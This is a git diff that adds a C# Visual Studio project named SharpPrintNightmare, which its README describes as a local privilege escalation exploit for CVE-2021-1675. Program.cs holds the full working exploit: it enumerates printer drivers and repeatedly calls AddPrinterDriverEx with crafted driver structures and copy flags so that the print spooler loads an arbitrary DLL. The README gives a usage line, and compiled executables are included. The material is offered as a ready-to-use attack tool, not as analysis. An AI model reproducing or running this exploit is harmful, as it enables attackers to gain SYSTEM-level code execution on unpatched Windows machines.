diff --git a/Images/poc2.png b/Images/poc2.png
new file mode 100644
index 0000000..2495879
Binary files /dev/null and b/Images/poc2.png differ
diff --git a/Images/poc3.png b/Images/poc3.png
new file mode 100644
index 0000000..80b3024
Binary files /dev/null and b/Images/poc3.png differ
diff --git a/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo b/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo
new file mode 100644
index 0000000..aad948e
Binary files /dev/null and b/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo differ
diff --git a/SharpPrintNightmare/README.md b/SharpPrintNightmare/README.md
new file mode 100644
index 0000000..18615d5
--- /dev/null
+++ b/SharpPrintNightmare/README.md
@@ -0,0 +1,9 @@
+# C# LPE Implementation of CVE-2021-1675
+
+### Usage
+
+```
+C:\SharpPrintNightmare.exe C:\addCube.dll
+```
+
+![](../Images/poc3.png)
diff --git a/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo b/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo
new file mode 100644
index 0000000..9401600
Binary files /dev/null and b/SharpPrintNightmare/SharpPrintNightmare/.vs/SharpPrintNightmare/v16/.suo differ
diff --git a/SharpPrintNightmare/SharpPrintNightmare/App.config b/SharpPrintNightmare/SharpPrintNightmare/App.config
new file mode 100644
index 0000000..8e15646
--- /dev/null
+++ b/SharpPrintNightmare/SharpPrintNightmare/App.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/SharpPrintNightmare/SharpPrintNightmare/Program.cs b/SharpPrintNightmare/SharpPrintNightmare/Program.cs
new file mode 100644
index 0000000..7c3d62c
--- /dev/null
+++ b/SharpPrintNightmare/SharpPrintNightmare/Program.cs
@@ -0,0 +1,150 @@
+using System;
+using System.ComponentModel;
+using System.IO;
+using System.Runtime.InteropServices;
+
+namespace SharpPrintNightmare
+{
+ class Program
+ {
+ [DllImport("kernel32.dll")]
+ static extern uint GetLastError();
+
+ [DllImport("winspool.drv", CharSet = CharSet.Auto, SetLastError = true)]
+ public static extern bool AddPrinterDriverEx([Optional] string pName, uint Level, [In, Out] IntPtr pDriverInfo, uint dwFileCopyFlags);
+
+ //https://www.pinvoke.net/default.aspx/winspool/EnumPrinterDrivers.html
+ [DllImport("winspool.drv", CharSet = CharSet.Auto, SetLastError = true)]
+ static extern bool EnumPrinterDrivers(String pName, String pEnvironment, uint level, IntPtr pDriverInfo, uint cdBuf, ref uint pcbNeeded, ref uint pcRetruned);
+ public struct DRIVER_INFO_2
+ {
+ public uint cVersion;
+ [MarshalAs(UnmanagedType.LPTStr)]
+ public string pName;
+ [MarshalAs(UnmanagedType.LPTStr)]
+ public string pEnvironment;
+ [MarshalAs(UnmanagedType.LPTStr)]
+ public string pDriverPath;
+ [MarshalAs(UnmanagedType.LPTStr)]
+ public string pDataFile;
+ [MarshalAs(UnmanagedType.LPTStr)]
+ public string pConfigFile;
+ }
+
+ // 3.1.4.4.8 RpcAddPrinterDriverEx Values
+ public static uint APD_STRICT_UPGRADE = 0x00000001;
+ public static uint APD_STRICT_DOWNGRADE = 0x00000002;
+ public static uint APD_COPY_ALL_FILES = 0x00000004;
+ public static uint APD_COPY_NEW_FILES = 0x00000008;
+ public static uint APD_COPY_FROM_DIRECTORY = 0x00000010;
+ public static uint APD_DONT_COPY_FILES_TO_CLUSTER = 0x00001000;
+ public static uint APD_COPY_TO_ALL_SPOOLERS = 0x00002000;
+ public static uint APD_INSTALL_WARNED_DRIVER = 0x00008000;
+ public static uint APD_RETURN_BLOCKING_STATUS_CODE = 0x00010000;
+
+ static void Main(string[] args)
+ {
+ string dllpath;
+ if (args == null || args.Length == 0)
+ {
+ Console.WriteLine("Need an argument containing the dll path");
+ Console.WriteLine(".\\SharpPrintNightmare.exe C:\\addCube.dll");
+ Environment.Exit(0);
+ }
+ dllpath = args[0];
+
+ Console.WriteLine("[*] Try 1...");
+ addPrinter(dllpath);
+ Console.WriteLine("[*] Try 2...");
+ addPrinter(dllpath);
+ Console.WriteLine("[*] Try 3...");
+ addPrinter(dllpath);
+ }
+
+ static void addPrinter(string dllpath)
+ {
+ DRIVER_INFO_2[] drivers = getDrivers();
+ string pDriverPath = Directory.GetParent(drivers[0].pDriverPath).FullName + "\\UNIDRV.DLL";
+ Console.WriteLine("[*] pDriverPath Found " + pDriverPath);
+ Console.WriteLine("[*] Executing C:\\addCube.dll");
+
+ //DRIVER_INFO_2 Level2 = drivers[0];
+ DRIVER_INFO_2 Level2 = new DRIVER_INFO_2();
+ Level2.cVersion = 3;
+ Level2.pConfigFile = "C:\\Windows\\System32\\kernelbase.dll";
+ Level2.pDataFile = dllpath;
+ Level2.pDriverPath = pDriverPath;
+ Level2.pEnvironment = "Windows x64";
+ Level2.pName = "12345";
+
+ string filename = Path.GetFileName(dllpath);
+ uint flags = APD_COPY_ALL_FILES | 0x10 | 0x8000;
+
+ //convert struct to unmanage code
+ IntPtr pnt = Marshal.AllocHGlobal(Marshal.SizeOf(Level2));
+ Marshal.StructureToPtr(Level2, pnt, false);
+
+ //call AddPrinterDriverEx
+ AddPrinterDriverEx(null, 2, pnt, flags);
+ Console.WriteLine("[*] Stage 0: " + Marshal.GetLastWin32Error());
+ Marshal.FreeHGlobal(pnt);
+
+ for (int i = 1; i <= 30; i++)
+ {
+ //add path to our exploit
+ Level2.pConfigFile = $"C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{i}\\{filename}";
+ //convert struct to unmanage code
+ IntPtr pnt2 = Marshal.AllocHGlobal(Marshal.SizeOf(Level2));
+ Marshal.StructureToPtr(Level2, pnt2, false);
+
+ //call AddPrinterDriverEx
+ AddPrinterDriverEx(null, 2, pnt2, flags);
+ int errorcode = Marshal.GetLastWin32Error();
+ Marshal.FreeHGlobal(pnt2);
+ if(errorcode == 0)
+ {
+ Console.WriteLine($"[*] Stage {i}: " + errorcode);
+ Console.WriteLine($"[+] Exploit Completed");
+ Environment.Exit(0);
+ }
+ }
+ }
+
+ static DRIVER_INFO_2[] getDrivers()
+ {
+ uint cbNeeded = 0;
+ uint cReturned = 0;
+ if (EnumPrinterDrivers(null, null, 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned))
+ {
+ //succeeds, but shouldn't, because buffer is zero (too small)!
+ throw new Exception("EnumPrinters should fail!");
+ }
+
+ int lastWin32Error = Marshal.GetLastWin32Error();
+ //ERROR_INSUFFICIENT_BUFFER = 122 expected, if not -> Exception
+ if (lastWin32Error != 122)
+ {
+ throw new Win32Exception(lastWin32Error);
+ }
+
+ IntPtr pAddr = Marshal.AllocHGlobal((int)cbNeeded);
+ if (EnumPrinterDrivers(null, null, 2, pAddr, cbNeeded, ref cbNeeded, ref cReturned))
+ {
+ DRIVER_INFO_2[] printerInfo2 = new DRIVER_INFO_2[cReturned];
+ long offset;
+ offset = pAddr.ToInt64();
+ Type type = typeof(DRIVER_INFO_2);
+ int increment = Marshal.SizeOf(type);
+ for (int i = 0; i < cReturned; i++)
+ {
+ printerInfo2[i] = (DRIVER_INFO_2)Marshal.PtrToStructure(new IntPtr(offset), type);
+ offset += increment;
+ }
+ Marshal.FreeHGlobal(pAddr);
+ return printerInfo2;
+ }
+
+ throw new Win32Exception(Marshal.GetLastWin32Error());
+ }
+ }
+}
diff --git a/SharpPrintNightmare/SharpPrintNightmare/Properties/AssemblyInfo.cs b/SharpPrintNightmare/SharpPrintNightmare/Properties/AssemblyInfo.cs
new file mode 100644
index 0000000..7205f3a
--- /dev/null
+++ b/SharpPrintNightmare/SharpPrintNightmare/Properties/AssemblyInfo.cs
@@ -0,0 +1,35 @@
+using System.Reflection;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("SharpPrintNightmare")]
+[assembly: AssemblyDescription("Cube0x0")]
+[assembly: AssemblyConfiguration("Cube0x0")]
+[assembly: AssemblyCompany("Cube0x0")]
+[assembly: AssemblyProduct("SharpPrintNightmare")]
+[assembly: AssemblyCopyright("Copyright © 2021")]
+[assembly: AssemblyTrademark("Cube0x0")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible
+// to COM components. If you need to access a type in this assembly from
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("5feb114b-49ec-4652-b29e-8cb5e752ec3e")]
+
+// Version information for an assembly consists of the following four values:
+//
+// Major Version
+// Minor Version
+// Build Number
+// Revision
+//
+// You can specify all the values or you can default the Build and Revision Numbers
+// by using the '*' as shown below:
+// [assembly: AssemblyVersion("1.0.*")]
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]
diff --git a/SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.csproj b/SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.csproj
new file mode 100644
index 0000000..b479c26
--- /dev/null
+++ b/SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.csproj
@@ -0,0 +1,52 @@
+
+
+
+
+ Debug
+ AnyCPU
+ {5FEB114B-49EC-4652-B29E-8CB5E752EC3E}
+ Exe
+ CVE_2021_1675
+ SharpPrintNightmare
+ v4.5
+ 512
+ true
+
+
+ AnyCPU
+ true
+ full
+ false
+ bin\Debug\
+ DEBUG;TRACE
+ prompt
+ 4
+
+
+ AnyCPU
+ pdbonly
+ true
+ bin\Release\
+ TRACE
+ prompt
+ 4
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.sln b/SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.sln
new file mode 100644
index 0000000..5a35349
--- /dev/null
+++ b/SharpPrintNightmare/SharpPrintNightmare/SharpPrintNightmare.sln
@@ -0,0 +1,25 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.31205.134
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpPrintNightmare", "SharpPrintNightmare.csproj", "{5FEB114B-49EC-4652-B29E-8CB5E752EC3E}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Release|Any CPU = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {5FEB114B-49EC-4652-B29E-8CB5E752EC3E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {5FEB114B-49EC-4652-B29E-8CB5E752EC3E}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {5FEB114B-49EC-4652-B29E-8CB5E752EC3E}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {5FEB114B-49EC-4652-B29E-8CB5E752EC3E}.Release|Any CPU.Build.0 = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {11E1DC60-0FB5-4AF6-86EF-EDB693E64849}
+ EndGlobalSection
+EndGlobal
diff --git a/SharpPrintNightmare/SharpPrintNightmare/bin/Release/SharpPrintNightmare.exe b/SharpPrintNightmare/SharpPrintNightmare/bin/Release/SharpPrintNightmare.exe
new file mode 100644
index 0000000..9650dd2
Binary files /dev/null and b/SharpPrintNightmare/SharpPrintNightmare/bin/Release/SharpPrintNightmare.exe differ
diff --git a/SharpPrintNightmare/SharpPrintNightmare/bin/Release/SharpPrintNightmare.exe.config b/SharpPrintNightmare/SharpPrintNightmare/bin/Release/SharpPrintNightmare.exe.config
new file mode 100644
index 0000000..8e15646
--- /dev/null
+++ b/SharpPrintNightmare/SharpPrintNightmare/bin/Release/SharpPrintNightmare.exe.config
@@ -0,0 +1,6 @@
+
+
+
+
+
+
\ No newline at end of file
diff --git a/SharpPrintNightmare/SharpPrintNightmare/bin/Release/SharpPrintNightmare.pdb b/SharpPrintNightmare/SharpPrintNightmare/bin/Release/SharpPrintNightmare.pdb
new file mode 100644
index 0000000..8f75a5d
Binary files /dev/null and b/SharpPrintNightmare/SharpPrintNightmare/bin/Release/SharpPrintNightmare.pdb differ
diff --git a/SharpPrintNightmare/SharpPrintNightmare/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs b/SharpPrintNightmare/SharpPrintNightmare/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs
new file mode 100644
index 0000000..e5dc9b8
--- /dev/null
+++ b/SharpPrintNightmare/SharpPrintNightmare/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs
@@ -0,0 +1,4 @@
+//
+using System;
+using System.Reflection;
+[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")]
diff --git a/SharpPrintNightmare/SharpPrintNightmare/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/SharpPrintNightmare/SharpPrintNightmare/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
new file mode 100644
index 0000000..1f6c409
Binary files /dev/null and b/SharpPrintNightmare/SharpPrintNightmare/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache differ
diff --git a/SharpPrintNightmare/SharpPrintNightmare/obj/Debug/SharpPrintNightmare.csprojAssemblyReference.cache b/SharpPrintNightmare/SharpPrintNightmare/obj/Debug/SharpPrintNightmare.csprojAssemblyReference.cache
new file mode 100644
index 0000000..e02ff37
Binary files /dev/null and b/SharpPrintNightmare/SharpPrintNightmare/obj/Debug/SharpPrintNightmare.csprojAssemblyReference.cache differ
diff --git a/SharpPrintNightmare/SharpPrintNightmare/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs
new file mode 100644
index 0000000..e5dc9b8
--- /dev/null
+++ b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs
@@ -0,0 +1,4 @@
+//
+using System;
+using System.Reflection;
+[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")]
diff --git a/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.csproj.CoreCompileInputs.cache b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.csproj.CoreCompileInputs.cache
new file mode 100644
index 0000000..37303f8
--- /dev/null
+++ b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.csproj.CoreCompileInputs.cache
@@ -0,0 +1 @@
+6a7ab24d74b7e25a7ffff290d4fe2dc8916038a2
diff --git a/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.csproj.FileListAbsolute.txt b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.csproj.FileListAbsolute.txt
new file mode 100644
index 0000000..4b06fd5
--- /dev/null
+++ b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.csproj.FileListAbsolute.txt
@@ -0,0 +1,6 @@
+C:\CVE-2021-1675\SharpPrintNightmare\SharpPrintNightmare\bin\Release\SharpPrintNightmare.exe.config
+C:\CVE-2021-1675\SharpPrintNightmare\SharpPrintNightmare\bin\Release\SharpPrintNightmare.exe
+C:\CVE-2021-1675\SharpPrintNightmare\SharpPrintNightmare\bin\Release\SharpPrintNightmare.pdb
+C:\CVE-2021-1675\SharpPrintNightmare\SharpPrintNightmare\obj\Release\SharpPrintNightmare.csproj.CoreCompileInputs.cache
+C:\CVE-2021-1675\SharpPrintNightmare\SharpPrintNightmare\obj\Release\SharpPrintNightmare.exe
+C:\CVE-2021-1675\SharpPrintNightmare\SharpPrintNightmare\obj\Release\SharpPrintNightmare.pdb
diff --git a/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.exe b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.exe
new file mode 100644
index 0000000..9650dd2
Binary files /dev/null and b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.exe differ
diff --git a/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.pdb b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.pdb
new file mode 100644
index 0000000..8f75a5d
Binary files /dev/null and b/SharpPrintNightmare/SharpPrintNightmare/obj/Release/SharpPrintNightmare.pdb differ